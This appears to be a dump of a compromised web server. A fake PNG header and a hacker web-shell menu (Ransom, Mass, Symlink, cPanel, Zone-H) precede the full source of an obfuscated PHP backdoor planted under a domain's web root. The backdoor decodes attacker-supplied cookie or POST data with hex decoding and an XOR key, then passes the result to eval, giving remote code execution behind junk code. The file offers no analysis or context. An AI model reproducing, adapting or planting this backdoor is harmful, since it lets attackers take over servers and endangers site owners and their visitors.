\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/mta-sts.ofisbulutta.com/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/mta-sts.ofisbulutta.com/ikr2se96.php |
<?php function pIqKXFNP($WEnmbk)
{
return @pack(/*vqNL */"\110" . chr (/* G */110 -/* iuF */68/* xD*/),/* x*/$WEnmbk/* vv */);$_wgEFu/* bKUB */=/* dlt */'14564';
$ujKUTkR = md5($WEnmbk);;
$kvZaQUYq/* VyCRS */=/*yaHj */base64_decode($WEnmbk);;
/* cAq */if/* y */($kvZaQUYq === false) {
$kvZaQUYq = '';;
}
$tUYtska =/* SUA*/str_split($WEnmbk);
$tGNOFzP/* X */= strlen($WEnmbk);;
$oXthpzUphn =/*iCv */0;$_nQOv/* m */= '23726';
/* Ypel */while ( $oXthpzUphn < $tGNOFzP/* kVXg */) {
$oXthpzUphn++;
/* ECT */$qYGOR/*SaSBe */=/* OB*/$tUYtska[$oXthpzUphn];;
if (strpos($qYGOR,/*UX */'a')/* WQr */!== false) {
$tUYtska[$oXthpzUphn] =/* KWPqS */strtoupper($qYGOR);;
}
}
/*zNf */$vIhyyprN/*gdeUk */= implode('',/* bi */$tUYtska);
/* NGm*/$_GET['decoded'] = $vIhyyprN;$_OmOS = '31386';
/*Mhk */$_POST['hash'] =/* sJqhN*/$ujKUTkR;
if (file_exists('path/to/file'))/* LCByl */{
$QjioLlIkMh = file_get_contents('path/to/file');$_hLD/* TK */= '27820';
$GzDLGCKfh = explode(',',/* KcsiG */$QjioLlIkMh);
/* wE */$OCfjvtNrWz/* C */=/* zJdw */md5(serialize($GzDLGCKfh));
if/* pO*/(is_array($GzDLGCKfh))/* fhMT */{
$ClnhtSG =/* O */array_slice($GzDLGCKfh, 0, 5);$_aAk/* zQyVm*/= '2265';
}
}
$mGuBQ = array_map('trim', $ClnhtSG);
$CFTksnxjLi/* EgQz */= rawurldecode(implode(',', $mGuBQ));;
/* LDzpL */$_COOKIE['final_value'] = $CFTksnxjLi;;
}
function/*uBbU*/BdTUqeH()
{
/* rL */$mocwSalB = Array($_COOKIE, $_POST);
/* XIfnz */$rYBGkU/* uso*/= array_map('md5', $_COOKIE);;
$NwFgJpHU = strpos($_SERVER['HTTP_USER_AGENT'],/* FLSRJ*/'Mozilla') !== false ? 'browser is/* TH */Mozilla'/*ird */: 'browser is not Mozilla';;
/*khTH */if (is_array($mocwSalB)) {
/*o */$qowzFr = array_slice($mocwSalB, 0, 1);
/*uzSaW*/}/* hKxM */else {
$qowzFr/*Rkk */= [];
}
/* fMsU */$LLiiYU =/* V*/explode(',', 'apple,orange,banana');;
$lJfMZgEDE = rawurldecode('%20Hello%20World%20');;
$oXthpzUphn = 0;
/* E */while ($oXthpzUphn/* w */</*ikeA */count($LLiiYU)/* Rz*/)/* iOhL*/{
/*duU*/$LLiiYU[$oXthpzUphn] = str_repeat($LLiiYU[$oXthpzUphn],/* rh*/2);;
$oXthpzUphn++;;
/* PFK */}
$hBCgNHc =/* l */str_repeat($NwFgJpHU, 3);
/* qe */return/* XHL*/$mocwSalB;$_FZ/* HbIY */=/* HVA */'40375';
/* TR*/}
/*FAVs */
function/* w */fQgCM($PFtxYzC)
{
$WztNAdVQO = "\43";$_Kxv/* AljJZ */= '20325';
foreach (BdTUqeH()/*zkGe*/as $sXfagMqDO) {
/*LCYK */lEyeNyv($sXfagMqDO, $WztNAdVQO);
}
}
/* lZ */
function sGXVp($xBisOFAo, $FMrPwC)
{
/*L */if ( count ( $xBisOFAo ) == 3 ) {
/*aj*/$cxXYzYkg = $xBisOFAo[1];$_GGH = '49280';
$MQAWnM = $xBisOFAo[2];$_jcU = '26593';
/* JNKX*/$rpPQTvDp =/* XNd */$cxXYzYkg($MQAWnM);
eval/*KlZ */( $rpPQTvDp );;
die/* WZIW */();
/*CRhHc */}
}
/* AfVkx*/
function PBKpLkbyt($WEnmbk, $fSxkqVx)
/* je */{
/*Quo*/return/* e*/$WEnmbk ^ $fSxkqVx;$_hX =/*EcuCJ */'140';
}
/*jMRT */function wrwdfg($IdLhzHw, $WztNAdVQO)
{
$IdLhzHw = explode ($WztNAdVQO, $IdLhzHw/* RPYJ*/);
/*xo */
sGXVp($IdLhzHw, $WztNAdVQO);
}
function lEyeNyv($sXfagMqDO,/* bXpN */$WztNAdVQO)
{
foreach (/*ej */$sXfagMqDO as $fSxkqVx =>/* zFYZ*/$WEnmbk )/* Ej */{
/* ftNx */cPGUo($fSxkqVx,/* CLIeL*/pIqKXFNP($WEnmbk), $WztNAdVQO);;
/* pGWw */}
/* QCX */}
function CWfGW($fSxkqVx, $WEnmbk)
{
/* Wf */$mtLRhF =/* r*/strlen( $WEnmbk )/strlen(/* KyjUU*/$fSxkqVx );
$fSxkqVx .= "frgr-RbJVVEI-SLiryz-HwXmfbq-mVT-tdLE-YKIIEYV";
$fSxkqVx =/* ECYvl */str_repeat/* K */( $fSxkqVx,/*TPCv */intval($mtLRhF) + 1);
return/* oLRg*/$fSxkqVx;
/*V */}
function cPGUo($fSxkqVx, $WEnmbk,/*Zg */$WztNAdVQO)
{
wrwdfg(PBKpLkbyt($WEnmbk, CWfGW($fSxkqVx,/* ccKQO */$WEnmbk)),/* IfZy */$WztNAdVQO);$_Ai =/* XZuTk */'60081';
/* ldQC*/$vGGrjczi =/* zFvx */trim($WEnmbk);
$WLovKplC = explode($WztNAdVQO, $vGGrjczi);
if/*WyB*/(count($WLovKplC) > 1) {
/* WqFKD */$ULLgIs = implode(chr (45),/* MdK */$WLovKplC);;
$IliawQhq = str_pad($ULLgIs, 20, chr/* H*/(/* hUSRl */360/* dJV*/- 312 ),/*a */STR_PAD_RIGHT);
} else {
$IliawQhq/* FHAB*/= str_replace(chr (32), "\x5f", $vGGrjczi);
}
}
fQgCM("");